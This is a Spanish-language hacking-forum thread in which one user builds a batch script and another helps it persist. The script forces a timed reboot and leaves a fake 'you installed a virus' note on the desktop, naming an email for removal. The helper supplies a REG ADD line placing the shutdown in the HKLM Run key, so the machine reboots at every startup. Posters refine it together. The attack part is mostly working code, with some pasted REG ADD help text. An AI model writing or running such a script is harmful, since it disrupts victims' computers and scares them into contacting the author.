TUTORIAL PROGRAMACION BAT

Iniciado por soplo, 8 Septiembre 2003, 14:29 PM

0 Miembros y 2 Visitantes están viendo este tema.

.Undertaker.

aparte.... i aora si le añado shutdown...

@echo off
shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "CD %USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieres
quitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt
pause>nul
exit


-->Como lo añado al registro de windows...solo para ese usuario¿?¿? y para todos los usuarios?¿?¿




                 

"MI WEB"

.Undertaker.

La segunda linea aun no sta bn...m parece k no t entendi...

ad+ aora m crea la carpeta i el archivo en el escritorio separados i en el .txt no ai nada
escrito... y por ultimo...el @echo off no m sirve d nada...jiji siento dar tnto dolor de cabeza.




                 

"MI WEB"

Siuto

#402
Tenes que usar el comando REG ADD, para ver la ayuda escribis en la consola REG ADD /? y te muestra la informacion, te la pego a continuacion, leela y pregunta si no entendes alguna cosa...

Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001.  Reservados todos los derechos


REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida



Te recomiendo que si no estas muy seguro de si tus BATs funcionan bien para probar algun comando nuevo o alguna cosa que no sabes usar lo hagas desde la misma consola o en un archivo nuevo para no confundir los errores que puedas tener de antes con los nuevos.

Bueno me fui a dormir es tarde, mañana miro lo que dijiste mientras escribia esto.

PD: Me olvide de avisarte que la clave que se usa para abrir archivos cuando se inicia la PC es: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run

.Undertaker.

#403
M parece k es este:

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida
... pero es como si m dices misa...jejej i no pordria usar HKEY_CURRENT_USER??

>>m puedes explicar el code que puse ai<<

Gracias d antemano! ;D ;D


EDITADO
------------------------------------------------------------------
CitarREG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)

en ese "datos" coloco shutdown -r -t 200??

y en ese "nombre" que coloco??


EDITADO
------------------------------------------------------------------
Citar@echo off
shutdown -r -t 200
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)

cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit

M podrias arreglar el REG ADD...?? sk no lo entiendo muy bn...Eso si explicamelo para saber hacerlo para otra vez. XDXDXD

----->perdon por los dolores de cabeza<-----




                 

"MI WEB"

Siuto

La clave del registro que tenes que usar es esta: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrrentVersion\Run por ahi no la viste porque creo que edite el post despues de que vos posteaste, te quedaria asi...

REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200

Proba a ver si asi te anda sino proba con las comillas.

PD: El conmando shutdown esta dentro del path de windows(System32) por eso es que en este caso no es necesario escribir la ruta hasta el mismo.

.Undertaker.

#405
La solucion seria esta?¿?¿
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit


i si modificara el shutdown....kedaria asi??

CitarREG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200"




                 

"MI WEB"

ANELKAOS

#406
Se ha creado un subforo para solucionar las dudas de procesos batch.

Podéis acceder a él en:

Subforo de Scripting
http://foro.elhacker.net/scripting-b64.0/


Rumaca

#407
HI